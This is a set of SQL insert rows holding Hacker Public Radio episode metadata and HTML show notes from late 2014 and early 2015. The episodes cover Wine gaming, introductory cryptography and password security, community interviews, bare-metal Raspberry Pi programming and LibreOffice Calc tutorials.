(1594,'2014-09-11','Steam and wine with linux',1033,'How to coax a windows-only steam game to work under steam in GNU/Linux.','<p>This isn\'t about my worshiping of Bacchus by playing games on linux in a sauna (that\'s for a future show) but instead about getting a Windows-only Steam game to work on a recent 64 bit linux distro. I\'m using Slackware, but I suspect the pitfalls and solutions I encountered would be similar on other distros.</p>\n <p>Links relevant to this adventure:</p>\n <ul>\n  <li><a href=\"https://appdb.winehq.org/objectManager.php?sClass=version&iId=19444\">https://appdb.winehq.org/objectManager.php?sClass=version&amp;iId=19444</a></li>\n  <li><a href=\"https://wiki.winehq.org/winetricks\">https://wiki.winehq.org/winetricks</a></li>\n  <li><a href=\"https://www.aceofspades.com\">https://www.aceofspades.com</a></li>\n  <li><a href=\"https://alien.slackbook.org/blog/valves-steam-client-for-linux/\">https://alien.slackbook.org/blog/valves-steam-client-for-linux/</a><p>Further details can be found on my blog:</p>\n  </li>\n  <li><a href=\"https://blog.mcnalu.net\">https://blog.mcnalu.net</a></li>\n </ul>',268,0,0,'CC-BY-SA','linux,gaming,wine,steam,slackware',0,0,1),
(1670,'2014-12-26','Digital Signatures and Certificates',1060,'This episode looks at secure connections between users and Web sites.','<p>\r\nDigital Signatures are something that is very important in understanding security on the Internet. While we have seen it in the context of personal e-mail, the applications are much broader, in particular to the use of certificates to establish communication.\r\n</p>\r\n<p>\r\nRecall from our discussion of e-mail that there are two things you can do with an e-mail using PGP or GPG. First is you can encrypt the message, which you do using the public key of the recipient, and then they can decrypt the message using their private key. The other was putting a digital signature on a message. But how does that work? - For more go to <a href=\"https://www.zwilnik.com/?page_id=655\">https://www.zwilnik.com/?page_id=655</a>\r\n</p>\r\n<p>\r\nLinks:\r\n</p>\r\n\r\n <ul>\r\n <li><a href=\"https://en.wikipedia.org/wiki/X.509\">https://en.wikipedia.org/wiki/X.509</a>\r\n </li>\r\n <li><a href=\"https://en.wikipedia.org/wiki/Transport_Layer_Security\">https://en.wikipedia.org/wiki/Transport_Layer_Security</a>\r\n </li>\r\n <li><a href=\"https://www.eff.org/Https-everywhere\">https://www.eff.org/Https-everywhere</a>\r\n </li>\r\n <li><a href=\"https://www.zwilnik.com/?page_id=655\">https://www.zwilnik.com/?page_id=655</a>\r\n <p></p>\r\n </li>\r\n </ul>',198,74,0,'CC-BY-SA','TLS, SSL, Certificates',0,0,1),
(1640,'2014-11-14','Symmetric vs. Asymmetric Encryption',1231,'This episode looks the two kinds of encryption keys, and why to use each one.','<p>\r\nPreviously we looked at Public Key encryption, which is also called Asymmetric Encryption because it uses two different keys for the encryption and decryption. This allows us to solve one of the biggest problems in secure encrypted communication, which is key distribution. Because the public key can be freely distributed, you dont need to maintain security around the process of distributing keys. Symmetric encryption, on the other hand, relies on a shared key that is used for both encryption and decryption. An example of this is the one-time pad, where you printed up a pad of paper that contained various keys, and each one was used only once. As long as no one can get the key, it is unbreakable, but the big weakness was key distribution. How do you get the one-time pad into the hands of your correspondent? And you would need to do this with separate one-time pads for each person you needed to communicate with. These are the kinds of problems that made asymmetric encryption so popular. Finally, symmetric key crypto cannot be used to reliably create a digital signature. The reason should be clear. If I have the same secret key you used to sign a message, I can alter the message, use the shared secret key myself, and claim you sent it. - For more go to <a href=\"https://www.zwilnik.com/?page_id=650\">https://www.zwilnik.com/?page_id=650</a>\r\n</p>\r\n<p>\r\nLinks:\r\n</p>\r\n\r\n <ul>\r\n <li><a href=\"https://en.wikipedia.org/wiki/Data_Encryption_Standard\">https://en.wikipedia.org/wiki/Data_Encryption_Standard</a>\r\n </li>\r\n <li><a href=\"https://en.wikipedia.org/wiki/Block_cipher\">https://en.wikipedia.org/wiki/Block_cipher</a>\r\n </li>\r\n <li><a href=\"https://en.wikipedia.org/wiki/ASCII\">https://en.wikipedia.org/wiki/ASCII</a>\r\n </li>\r\n <li><a href=\"https://en.wikipedia.org/wiki/Triple_DES\">https://en.wikipedia.org/wiki/Triple_DES</a>\r\n </li>\r\n <li><a href=\"https://en.wikipedia.org/wiki/Advanced_Encryption_Standard\">https://en.wikipedia.org/wiki/Advanced_Encryption_Standard</a>\r\n </li>\r\n <li><a href=\"https://doctrina.org/How-RSA-Works-With-Examples.html\">https://doctrina.org/How-RSA-Works-With-Examples.html</a>\r\n </li>\r\n <li><a href=\"https://en.wikipedia.org/wiki/Discrete_logarithm\">https://en.wikipedia.org/wiki/Discrete_logarithm</a>\r\n </li>\r\n <li><a href=\"https://en.wikipedia.org/wiki/ElGamal_encryption\">https://en.wikipedia.org/wiki/ElGamal_encryption</a>\r\n </li>\r\n <li><a href=\"https://en.wikipedia.org/wiki/Diffie%E2%80%93Hellman_key_exchange\">https://en.wikipedia.org/wiki/Diffie%E2%80%93Hellman_key_exchange</a>\r\n </li>\r\n <li><a href=\"https://en.wikipedia.org/wiki/Elliptic_curve_cryptography\">https://en.wikipedia.org/wiki/Elliptic_curve_cryptography</a>\r\n </li>\r\n <li><a href=\"https://www.zwilnik.com/?page_id=650\">https://www.zwilnik.com/?page_id=650</a>\r\n </li>\r\n </ul>',198,74,0,'CC-BY-SA','symmetric, asymmetric, encryption',0,0,1),
(1620,'2014-10-17','Passwords, Entropy, and Good Password Practices',1293,'This episode explores the best password practices from a mathematical viewpoint with recommendations','<p>\r\nRight now for most of us the key to any security in our online life is the degree of entropy in our passwords. So what is entropy, and how does it affect our passwords?\r\n</p>\r\n<p>\r\nEntropy is in general the degree of randomness or disorder in any given system. Sometimes it is very easy to assess, such as a password of 1234, which all too many people use. Because it is a simple sequence, there is no real randomness at all, and would be quickly guessed. And as we saw in the last tutorial, such passwords are quickly discovered in a dictionary attack. There are things you can do to make it less likely that your password will be cracked and used against you. - For more go to <a href=\"https://www.zwilnik.com/?page_id=530\">https://www.zwilnik.com/?page_id=530</a>\r\n</p>\r\n<p>\r\nLinks:\r\n</p>\r\n\r\n <ul>\r\n <li><a href=\"https://splashdata.com/press/worstpasswords2013.htm\">https://splashdata.com/press/worstpasswords2013.htm</a>\r\n </li>\r\n <li><a href=\"https://www.grc.com/haystack.htm\">https://www.grc.com/haystack.htm</a>\r\n </li>\r\n <li><a href=\"https://lastpass.com/\">https://lastpass.com/</a>\r\n </li>\r\n <li><a href=\"https://keepass.info/\">https://keepass.info/</a>\r\n </li>\r\n <li><a href=\"https://www.zwilnik.com/?page_id=530\">https://www.zwilnik.com/?page_id=530</a>\r\n </li>\r\n </ul>',198,74,0,'CC-BY-SA','passwords, entropy',0,0,1),
(1598,'2014-09-17','Hashing and Password Security',1588,'Understanding password security begins with understanding hashing.','<p>Today, the most common way of providing security in giving access to data or systems is through the use of passwords. Practically every online site now expects you to create an account with a password, which will let you post comments, order products, conduct business, or just post to social media. The implication is that insisting on passwords provides some level of security. Now, following on our last tutorial we should ask a few questions about just how effective this measure is, since someone posting in your name to Twitter is significantly different from someone accessing your bank account. And since the assets being protected are very different, it would be reasonable to approach the problem of security somewhat differently in these cases. But given the ubiquity of passwords as the authentication for online accounts, we need to look at the security involved. Note that I am approaching this from the standpoint of the owner of the site in question for this tutorial, and will follow up with a look at your own role in this.<br /> For more go to <a href=\"https://www.zwilnik.com/?page_id=640\">https://www.zwilnik.com/?page_id=640</a></p>\n <p>Links:</p>\n <ul>\n  <li><a href=\"https://en.wikipedia.org/wiki/Cryptographic_hash_function\">https://en.wikipedia.org/wiki/Cryptographic_hash_function</a></li>\n  <li><a href=\"https://en.wikipedia.org/wiki/SHA1\">https://en.wikipedia.org/wiki/SHA1</a></li>\n  <li><a href=\"https://www.codeproject.com/Articles/704865/Salted-Password-Hashing-Doing-it-Right\">https://www.codeproject.com/Articles/704865/Salted-Password-Hashing-Doing-it-Right</a></li>\n  <li><a href=\"https://www.zwilnik.com/?page_id=640\">https://www.zwilnik.com/?page_id=640</a></li>\n </ul>',198,74,0,'CC-BY-SA','hashing, passwords',0,0,1),
(1599,'2014-09-18','Interview with Ingmar Steiner from the MaryTTS project',5148,'Ken interviews Ingmar Steiner from the MaryTTS text to speech project.','<p>In today\'s show Ken interviews <a href=\"https://www.coli.uni-saarland.de/~steiner/index.html\">Ingmar Steiner</a> who is the lead developer for the mary text to speech project. MaryTTS is an open-source, multilingual text-to-speech synthesis system written in pure java and is released under the LGPL. During the interview we get a history of the project, and dive into speech synthesis and we look at how to make your own voices.</p><img alt=\"Photo of Ingmar sitting on a rock in a pine forest with eyes focused on his grey mac laptop\" src=\"https://www.coli.uni-saarland.de/~steiner/983e2078fa0684752a3a7b65d8b585c4.jpg\" /><h3>Links</h3>\n <ul>\n  <li><a href=\"https://www.coli.uni-saarland.de/~steiner/index.html\">https://www.coli.uni-saarland.de/~steiner/index.html</a></li>\n  <li>OpenMary development page: <a href=\"https://mary.opendfki.de/\">https://mary.opendfki.de/</a></li>\n  <li>GitHub: <a href=\"https://github.com/marytts/marytts\">https://github.com/marytts/marytts</a></li>\n  <li>HomePage: <a href=\"https://mary.dfki.de/\">https://mary.dfki.de/</a></li>\n  <li>New HomePage: <a href=\"https://lnv-90208.sb.dfki.de/\">https://lnv-90208.sb.dfki.de/</a></li>\n  <li>Orca : <a href=\"https://wiki.gnome.org/action/show/Projects/Orca?action=show&redirect=Orca\">https://wiki.gnome.org/action/show/Projects/Orca?action=show&amp;redirect=Orca</a></li>\n  <li>FOSDEM: <a href=\"https://fosdem.org/\">https://fosdem.org/</a></li>\n  <li>Demo: <a href=\"https://mary.dfki.de:59125/\">https://mary.dfki.de:59125/</a></li>\n </ul>',30,78,0,'CC-BY-SA','text to speech,MaryTTS,ORCA',0,0,1),
(1603,'2014-09-24','GUADEC 2014: Matthew Garrett Interview',890,'I was able to ask GUADEC Keynote Speaker and free software activist Matthew Garrett a few questions.','<p>This year\'s GUADEC, the Gnome Users and Developers Conference was held in Strasbourg, France. Keynote Speaker was free software activist Matthew Garrett. He held an inspiring speech on the Linux and Gnome desktop and laid out his vision for both. Afterwards, I was able to ask him a few questions.</p>\n <p>For any reactions, mail me at mail (at) linuxohneangst.net</p>\n <p>Enjoy.</p>\n <h3>Links</h3>\n <ul>\n  <li><a href=\"https://www.guadec.org/\">https://www.guadec.org/</a></li>\n  <li><a href=\"https://en.wikipedia.org/wiki/Matthew_Garrett\">https://en.wikipedia.org/wiki/Matthew_Garrett</a></li>\n  <li>our own podcast (in German): <a href=\"https://linuxohneangst.net\">https://linuxohneangst.net</a></li>\n </ul>',285,78,0,'CC-BY-SA','Gnome, Guadec, Desktop, Garrett',0,0,1),
(1607,'2014-09-30','Migrating from Drupal 6 to Nikola',573,'I explain how I migrated my Drupal 6 blog to Nikola.','<p>\r\nI talk about the migration of my blog from Drupal 6 to Nikola. I explain\r\nwhy I wanted to migrate, and I tell about the script I used.\r\n</p>\r\n<p>\r\nDetails and scripts can be found on my blog:\r\n<a href=\"https://blog.johanv.org/posts/drupal-nikola.html\">https://blog.johanv.org/posts/drupal-nikola.html</a>\r\n</p>\r\n<p>\r\nSee also:\r\n</p>\r\n\r\n<ul>\r\n<li><a href=\"https://getnikola.com/\">https://getnikola.com/</a>\r\n</li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=1577\">https://hackerpublicradio.org/eps.php?id=1577</a>\r\n</li>\r\n</ul>',233,0,0,'CC-BY-SA','drupal,nikola,blogging',0,0,1),
(1608,'2014-10-01','Interviews at Lincoln LUG',2707,'A collection of short interviews with Lincoln LUG members. ','<p>In today\'s show, <a href=\"https://corenominal.org\">Philip Newborough</a> interviews fellow members of <a href=\"https://lincoln.lug.org.uk\">Lincoln LUG</a>. Each interviewee is asked 3 simple questions:</p>\n <ol>\n  <li>What was your first experience of Linux?</li>\n  <li>What distro and desktop environment/window manager are you currently using?</li>\n  <li>What tools/utilities/applications can you not live without?</li>\n </ol>\n <p>The participating LUG members were not given the questions in advance and the resulting answers were quite varied. Hopefully, this collection of interviews will provide you, the listener, with a good understanding of the broad mix of Linux users who attend Lincoln LUG.</p><img alt=\"Members of Lincoln LUG.\" src=\"https://hackerpublicradio.org/eps/hpr1608-corenominal-interviews-at-lincoln-lug.jpg\" /><p>The members who were interviewed, in order, were:</p>\n <ol>\n  <li><a href=\"https://twitter.com/djarmour_01522\">Dave Armour</a></li>\n  <li><a href=\"https://twitter.com/myles_thaiss\">Myles Thaiss</a></li>\n  <li><a href=\"https://twitter.com/philgobbett\">Phil Gobbett</a></li>\n  <li><a href=\"https://twitter.com/Happibun\">Jo Minchin</a></li>\n  <li><a href=\"https://twitter.com/gmarkall\">Graham Markall</a></li>\n  <li><a href=\"https://twitter.com/TheActualSarah\">Sarah Markall</a></li>\n  <li><a href=\"https://twitter.com/bobobex\">Becky Newborough</a></li>\n  <li>Darren Scott</li>\n  <li>Adrian Farrow</li>\n  <li><a href=\"https://twitter.com/elm_97\">Emma Martin</a></li>\n </ol>\n <p>Note: Lincoln LUG meets on the 3rd Wednesday of each month at the <a href=\"https://www.lincolnbowl.co.uk\">Lincoln Bowl</a>. The interviews were conducted outside the bowl and some background noise can be heard, we hope this does not affect your enjoyment of this episode.</p>',287,78,1,'CC-BY-SA','interviews,linux,lug',0,0,1),
(1612,'2014-10-07','Don\'t Forget the Referbs',1211,'NYbill talks about a refurbished Lenovo and modifying it to his liking.','<p>\r\nNYbill talks about getting a refurbished Lenovo X61 and making it more functional with a tool or two. There is also some talk of PLC\'s (Programmable Logic Controllers). A more in depth explanation of PLC\'s could be an episode in itself and might be some day. Stay tuned...\r\n</p>\r\n<p>\r\nPics for the episode:\r\n<a href=\"https://media.gunmonkeynet.net/u/nybill/collection/hacking-a-lenovo-x61/\">https://media.gunmonkeynet.net/u/nybill/collection/hacking-a-lenovo-x61/</a>\r\n</p>\r\n<p>\r\nLenovo after market BIOS. Allows Ctrl-Fn swap in older systems. (Use at your own risk!):\r\n<a href=\"https://forum.notebookreview.com/lenovo/474396-fn-ctrl-swap-all-lenovo-laptops-solved.html\">https://forum.notebookreview.com/lenovo/474396-fn-ctrl-swap-all-lenovo-laptops-solved.html</a>\r\n</p>',235,0,0,'CC-BY-SA','Lenovo,Lenovo X61,modification',0,0,1),
(1609,'2014-10-02','Sigil And The Process Of The Epub In FOSS',2282,'lostnbronx rambles on and on about his current process for creating epubs using FOSS tools','<p>\r\nHere are some links to the software discussed in this episode\r\n</p>\r\n<ul>\r\n<li><a href=\"https://nano-editor.org/\">https://nano-editor.org/</a>\r\n</li>\r\n<li><a href=\"https://www.lyx.org/\">https://www.lyx.org/</a>\r\n</li>\r\n<li><a href=\"https://sourceforge.net/projects/txt2html/\">https://sourceforge.net/projects/txt2html/</a>\r\n</li>\r\n<li><a href=\"https://github.com/user-none/Sigil\">https://github.com/user-none/Sigil</a>\r\n</li>\r\n</ul>\r\n\r\n',107,0,0,'CC-BY-SA','sigil, epub',0,0,1),
(1613,'2014-10-08','What\'s in a nickname?',505,'Mikael talks about his Internet nickname.','<p>\r\nHow I came to use Inscius as my Internet nickname.\r\n<h3>Links:</h3>\r\n<p>\r\n<a href=\"https://en.wiktionary.org/wiki/inscius\">https://en.wiktionary.org/wiki/inscius</a>\r\n</p>',283,0,1,'CC-BY-SA','nickname,handle,name,domain',0,0,1),
(1617,'2014-10-14','Spaceteam',629,'A game of Spaceteam ','<p>If this show only confuses you, search the Internet for the Android app Spaceteam, have some friends install it and start playing. To maximize the fun you preferably play in a public place.</p>\n <p><a href=\"https://play.google.com/store/apps/details?id=com.sleepingbeastgames.spaceteam&hl=en\">https://play.google.com/store/apps/details?id=com.sleepingbeastgames.spaceteam&amp;hl=en</a></p>',288,62,1,'CC-BY-SA','OggCamp, Spaceteam, Android, Game',0,0,1),
(1618,'2014-10-15','OggCamp Attendees',839,'The first two interviews with OggCamp attendees ','<p>\r\nThis show includes two interviews with OggCamp attendees this year. \r\n</p>\r\n<p>\r\nThe first interview is with TDTRS co-host Peter Cannon, who is convinced that his podcast is the best Linux podcast there is and he is sure going to tell you why.<br />\r\n<a href=\"https://tdtrs.co.uk\">https://tdtrs.co.uk</a>\r\n</p>\r\n<p>\r\nIn the second interview I talked to Alistair (whose name I hopefully spell correctly), who told me that he would like to be a HPR host himself. So this ist his first appearance on HPR and hopefully not the last. \r\n</p>\r\n',288,78,0,'CC-BY-SA','oggcamp, interviews',0,0,1),
(1623,'2014-10-22','Tech and Coffee at OggCamp',1295,'Another set of OggCamp interviews. I talk to Keith Milner and George Doscher from Tech and Coffee.','<p>In this episode of interviews from OggCamp 2014 I talk to George Doscher who co-founded (or founded, I really don\'t know) the Tech and Coffee Google Plus hangout. You\'ll find him at</p>\n <p><a href=\"https://plus.google.com/+GeorgeDoscher\">https://plus.google.com/+GeorgeDoscher</a></p>\n <p>and on Tech and Coffee under</p>\n <p><a href=\"https://techandcoffee.info/\">https://techandcoffee.info/</a></p>\n <p>In the second interview I talk to Keith Milner who has some interesting and fairly technical stuff to tell you about mobile networks. He also talks about unencrypted traffic on the carrier networks and why it\'s even more important for you to use encryption when using the web on your mobile. You find him under</p>\n <p><a href=\"https://plus.google.com/+KeithMilner\">https://plus.google.com/+KeithMilner</a></p>',288,78,0,'CC-BY-SA','oggcamp, G+, Tech and Coffee',0,0,1),
(1621,'2014-10-20','OggCamp Interview with James Tait',737,'A short interview with James Tait of Canonical. ','<p>In today\'s show, <a href=\"https://corenominal.org\">Philip Newborough</a> interviews <a href=\"https://launchpad.net/~jamestait\">James Tait</a> of <a href=\"https://www.canonical.com/\">Canonical</a>, the company behind <a href=\"https://www.ubuntu.com/\">Ubuntu</a>.</p>\n <p>James talks about his work on the now defunct <a href=\"https://en.wikipedia.org/wiki/Ubuntu_One\">Ubuntu One</a> project, and his current work with <a href=\"https://en.wikipedia.org/wiki/Ubuntu_Touch\">Ubuntu Phone</a>. James is a super-nice guy, knowledgeable and very gracious. He was a pleasure to interview.</p><img alt=\"James Tait (right) with Mark Shuttleworth (left) at Corinthia Hotel Budapest.\" src=\"https://hackerpublicradio.org/eps/hpr1621.jpg\" /><p>PICTURED: James Tait (right) with Mark Shuttleworth (left).</p>\n <p>The interview was conducted at <a href=\"https://oggcamp.org/\">OggCamp 14</a>, a free culture unconference, held in Oxford UK on the weekend of October 4th-5th 2014.</p>',287,78,1,'CC-BY-SA','interviews,linux,ubuntu,oggcamp',0,0,1),
(1630,'2014-10-31','Bare Metal Programming on the Raspberry Pi (Part 2)',3024,'This episode discusses interrupt handling, and program loading using the Xmodem protocol','<p>\r\nThe second episode in a series on bare metal programming on the Raspberry Pi. This episode builds on part 1 by showing how interrupts work on the RPIs ARM chip and the framework I created to manage them.  It then goes on to describe\r\nhow an interrupt-enabled serial driver works.  From there, the episode\r\nshows how we can use the serial cable in conjunction with a loader program\r\nto enable us to load bare-metal programs onto the RPI without having to\r\ncopy them to the SD card each time.  In the process, the episode describes the\r\nXMODEM protocol that the loader users for the file transfer process.\r\n</p>\r\n<p>\r\nHere is some of the source material that I used while working on this\r\nlittle learning experience.\r\n</p>\r\n\r\n<h3>Links</h3>\r\n\r\n<ul>\r\n<li>dwelch67\'s bare metal repository\r\n <ul>\r\n <li><a href=\"https://github.com/dwelch67/raspberrypi\">https://github.com/dwelch67/raspberrypi</a>\r\n </li>\r\n <li>The best guide I know on this topic.  Very thorough and what I used as my starting point.\r\n </li>\r\n </ul>\r\n</li>\r\n<li>CATRPI\r\n <ul>\r\n <li>Homepage: <a href=\"https://gitorious.org/catrpi\">https://gitorious.org/catrpi</a>\r\n </li>\r\n <li>Git repo: git://gitorious.org/catrpi/catrpi.git\r\n </li>\r\n <li>My own repository of code that I wrote during this little project.\r\n </li>\r\n </ul>\r\n</li>\r\n<li>XMODEM Protocol\r\n <ul>\r\n <li><a href=\"https://textfiles.com/programming/ymodem.txt\">https://textfiles.com/programming/ymodem.txt</a>\r\n </li>\r\n <li>Says YMODEM but also includes specification for XMODEM.\r\n </li>\r\n </ul>\r\n</li>\r\n<li>Adafruit USB to TTL cable\r\n <ul>\r\n <li><a href=\"https://www.adafruit.com/products/954\">https://www.adafruit.com/products/954</a>\r\n </li>\r\n </ul>\r\n</li>\r\n<li>Script to build the ARM toolchain\r\n <ul>\r\n <li><a href=\"https://github.com/dwelch67/build_gcc/blob/master/build_arm\">https://github.com/dwelch67/build_gcc/blob/master/build_arm</a>\r\n </li>\r\n </ul>\r\n</li>\r\n<li>ARM ARM\r\n <ul>\r\n <li><a href=\"https://morrow.ece.wisc.edu/ECE353/arm_reference/ddi0100e_arm_arm.pdf\">https://morrow.ece.wisc.edu/ECE353/arm_reference/ddi0100e_arm_arm.pdf</a>\r\n </li>\r\n <li>Contains the ARM assembly language as well as chip architecture overview.\r\n </li>\r\n <li>You\'ll need the ARM 11 Architecture Reference Manual\r\n </li>\r\n </ul>\r\n</li>\r\n<li>ARM TRM\r\n <ul>\r\n <li><a href=\"https://infocenter.arm.com/help/topic/com.arm.doc.ddi0301h/DDI0301H_arm1176jzfs_r0p7_trm.pdf\">https://infocenter.arm.com/help/topic/com.arm.doc.ddi0301h/DDI0301H_arm1176jzfs_r0p7_trm.pdf</a>\r\n </li>\r\n <li>Contains info about the specific SOC that the Raspberry PI uses\r\n </li>\r\n </ul>\r\n</li>\r\n<li>RPI Schematics\r\n <ul>\r\n <li><a href=\"https://www.raspberrypi.org/wp-content/uploads/2012/04/Raspberry-Pi-Schematics-R1.0.pdf\">https://www.raspberrypi.org/wp-content/uploads/2012/04/Raspberry-Pi-Schematics-R1.0.pdf</a>\r\n </li>\r\n <li>Shows how the Raspberry Pi is wired up\r\n </li>\r\n </ul>\r\n</li>\r\n<li>RPI Peripherals\r\n <ul>\r\n <li><a href=\"https://www.raspberrypi.org/wp-content/uploads/2012/02/BCM2835-ARM-Peripherals.pdf\">https://www.raspberrypi.org/wp-content/uploads/2012/02/BCM2835-ARM-Peripherals.pdf</a>\r\n </li>\r\n <li>Describes functionality and programming model for the various Raspberry Pi peripherals.\r\n </li>\r\n </ul>\r\n</li>\r\n</ul>',259,25,0,'CC-BY-SA','programming, embedded systems, raspberry pi',0,0,1),
(1619,'2014-10-16','Bare Metal Programming on the Raspberry Pi (Part 1)',3734,'This show is about how to program a Raspberry Pi with no operating system and no libraries.','<p>\r\nThis show is about programming on a Raspberry Pi with on operating\r\nsystem or libraries.  In this programming environment, the only software\r\nthat the CPU executes is the software that you write.  This episode\r\nintroduces how to configure the build environment and get a basic\r\napplication up and running.  From here one can leverage these techniques\r\nto build more sophisticated applications and deepen ones knowledge of\r\nsystems programming.\r\n</p>\r\n<p>\r\nHere is some of the source material that I used while working on this\r\nlittle learning experience.\r\n</p>\r\n<p>\r\ndwelch67\'s bare metal repository\r\n</p>\r\n\r\n<ul>\r\n<li><a href=\"https://github.com/dwelch67/raspberrypi\">https://github.com/dwelch67/raspberrypi</a>\r\n</li>\r\n<li>The best guide I know on this topic.  Very thorough and what I used\r\n   as my starting point.\r\n</li>\r\n</ul>\r\n\r\n<p>\r\nCATRPI\r\n</p>\r\n\r\n<ul>\r\n<li>Homepage: <a href=\"https://gitorious.org/catrpi\">https://gitorious.org/catrpi</a>\r\n</li>\r\n<li>Git repo: git://gitorious.org/catrpi/catrpi.git\r\n</li>\r\n<li>My own repository of code that I wrote during this little project.\r\n</li>\r\n</ul>\r\n\r\n<p>\r\nAdafruit USB to TTL cable\r\n</p>\r\n\r\n<ul>\r\n<li><a href=\"https://www.adafruit.com/products/954\">https://www.adafruit.com/products/954</a>\r\n</li>\r\n</ul>\r\n\r\n<p>\r\nScript to build the ARM toolchain\r\n</p>\r\n\r\n<ul>\r\n<li><a href=\"https://github.com/dwelch67/build_gcc/blob/master/build_arm\">https://github.com/dwelch67/build_gcc/blob/master/build_arm</a>\r\n</li>\r\n</ul>\r\n\r\n<p>\r\nARM ARM\r\n</p>\r\n\r\n<ul>\r\n<li><a href=\"https://morrow.ece.wisc.edu/ECE353/arm_reference/ddi0100e_arm_arm.pdf\">https://morrow.ece.wisc.edu/ECE353/arm_reference/ddi0100e_arm_arm.pdf</a>\r\n</li>\r\n<li>Contains the ARM assembly language as well as chip architecture overview.\r\n</li>\r\n<li>You\'ll need the ARM 11 Architecture Reference Manual\r\n</li>\r\n</ul>\r\n\r\n<p>\r\nARM TRM\r\n</p>\r\n\r\n<ul>\r\n<li><a href=\"https://infocenter.arm.com/help/topic/com.arm.doc.ddi0301h/DDI0301H_arm1176jzfs_r0p7_trm.pdf\">https://infocenter.arm.com/help/topic/com.arm.doc.ddi0301h/DDI0301H_arm1176jzfs_r0p7_trm.pdf</a>\r\n</li>\r\n<li>Contains info about the specific SOC that the Raspberry PI uses\r\n</li>\r\n</ul>\r\n\r\n<p>\r\nRPI Schematics\r\n</p>\r\n\r\n<ul>\r\n<li><a href=\"https://www.raspberrypi.org/wp-content/uploads/2012/04/Raspberry-Pi-Schematics-R1.0.pdf\">https://www.raspberrypi.org/wp-content/uploads/2012/04/Raspberry-Pi-Schematics-R1.0.pdf</a>\r\n</li>\r\n<li>Shows how the Raspberry Pi is wired up\r\n</li>\r\n</ul>\r\n\r\n<p>\r\nRPI Peripherals\r\n</p>\r\n\r\n<ul>\r\n<li><a href=\"https://www.raspberrypi.org/wp-content/uploads/2012/02/BCM2835-ARM-Peripherals.pdf\">https://www.raspberrypi.org/wp-content/uploads/2012/02/BCM2835-ARM-Peripherals.pdf</a>\r\n</li>\r\n<li>Describes functionality and programming model for the various Raspberry Pi\r\n   peripherals.\r\n</li>\r\n</ul>\r\n',259,25,0,'CC-BY-SA','programming,embedded systems,raspberry pi',0,0,1),
(1624,'2014-10-23','Penguicon 2015 Call for Talks',963,'I am looking for people who can present tech/FOSS talks at Penguicon 2015','<p>I am the coordinator for the Tech Track at Penguicon 2015, which is a combined FOSS/Science Fiction convention held every spring in the Metro-Detroit area. The 2015 event will happen April 24-26 at the Westin Hotel in Southfield, MI. The theme for the upcoming year\'s event is Biotechnology and medicine, looking at how technology is affecting our health and life. But we want a lot of different talks as well, so I will be happy to accept proposals that look at things like cloud computing, security, hardware hacks, and anything else that would be of interest to geeks and hackers.</p>\n <h3>Links:</h3>\n <ul>\n  <li><a href=\"https://2015.penguicon.org/\">https://2015.penguicon.org/</a></li>\n  <li><a href=\"https://penguicon.tuxtrax.org/\">https://penguicon.tuxtrax.org/</a></li>\n  <li><a href=\"https://www.zwilnik.com/?p=692\">https://www.zwilnik.com/?p=692</a></li>\n </ul>',198,96,0,'CC-BY-SA','Penguicon',0,0,1),
(1655,'2014-12-05','43 - LibreOffice Calc - Creating Pivot Tables',950,'How to create a Pivot Table','<p>\r\nWe take a look at one of the most powerful, but somewhat frightening, features of modern spreadsheets. But knowing the basics of pivot tables should make themn a bit less frightening to the newcomer.\r\n</p>\r\n\r\n<ul>\r\n<li><a href=\"https://iteach.usf.edu/2012/07/microsoft-office-pivottable-sample-worksheets/\">https://iteach.usf.edu/2012/07/microsoft-office-pivottable-sample-worksheets/</a>\r\n</li>\r\n<li><a href=\"https://www.ahuka.com/wp-content/uploads/2014/06/pivot.ods\">https://www.ahuka.com/wp-content/uploads/2014/06/pivot.ods</a>\r\n</li>\r\n<li><a href=\"https://www.ahuka.com/?page_id=911\">https://www.ahuka.com/?page_id=911</a>\r\n</li>\r\n</ul>\r\n',198,70,0,'CC-BY-SA','LibreOffice, Calc, Spreadsheet, pivot, tables',0,0,1),
(1665,'2014-12-19','44 - LibreOffice Calc - Working With Pivot Tables',652,'When you have a pivot table, what are some of the things you can do with it to analyze your data?','<p>We take a look at one of the most powerful, but somewhat frightening, features of modern spreadsheets. But knowing the basics of pivot tables should make them a bit less frightening to the newcomer.</p>\n <ul>\n  <li><a href=\"https://www.ahuka.com/wp-content/uploads/2014/06/pivot.ods\">https://www.ahuka.com/wp-content/uploads/2014/06/pivot.ods</a></li>\n  <li><a href=\"https://www.ahuka.com/?page_id=897\">https://www.ahuka.com/?page_id=897</a></li>\n  <li><a href=\"https://www.ahuka.com/?page_id=734\">https://www.ahuka.com/?page_id=734</a></li>\n  <li><a href=\"https://www.ahuka.com/?page_id=934\">https://www.ahuka.com/?page_id=934</a></li>\n </ul>',198,70,1,'CC-BY-SA','LibreOffice, Calc, Spreadsheet, pivot, tables',0,0,1),
(1685,'2015-01-16','45 - LibreOffice Calc - Styles and Templates Introduced',905,'How the concepts of Styles and Templates can be useful in Spreadsheets','<p>\r\nWhen we were looking at Writer we saw that Styles and Templates are key concepts to using any word processor. They are not quite as central in spreadsheet use, and one can be a proficient user without resort to them, but they do give you control over the appearance of your spreadsheets, and can give the sheets you create uniform appearance. We discussed these ideas in great detail in our Writer tutorials, so I am going to hope that some of that knowledge has carried over here. Still, lets get to some basic concepts:\r\n</p>\r\n\r\n<ul>\r\n<li><a href=\"https://templates.libreoffice.org/template-center\">https://templates.libreoffice.org/template-center</a>\r\n</li>\r\n<li><a href=\"https://www.vertex42.com/blog/news/templates-for-openoffice-and-libreoffice.html\">https://www.vertex42.com/blog/news/templates-for-openoffice-and-libreoffice.html</a>\r\n</li>\r\n<li><a href=\"https://www.odfauthors.org/libreoffice/english/calc-guide/published-lo4.0/cg4-0-ch4-styles-templates/at_download/file\">https://www.odfauthors.org/libreoffice/english/calc-guide/published-lo4.0/cg4-0-ch4-styles-templates/at_download/file</a>\r\n</li>\r\n<li><a href=\"https://www.ahuka.com/?page_id=938\">https://www.ahuka.com/?page_id=938</a>\r\n<p></p>\r\n</li>\r\n</ul>',198,70,0,'CC-BY-SA','LibreOffice, Calc, Spreadsheet, Styles, Templates',0,0,1),
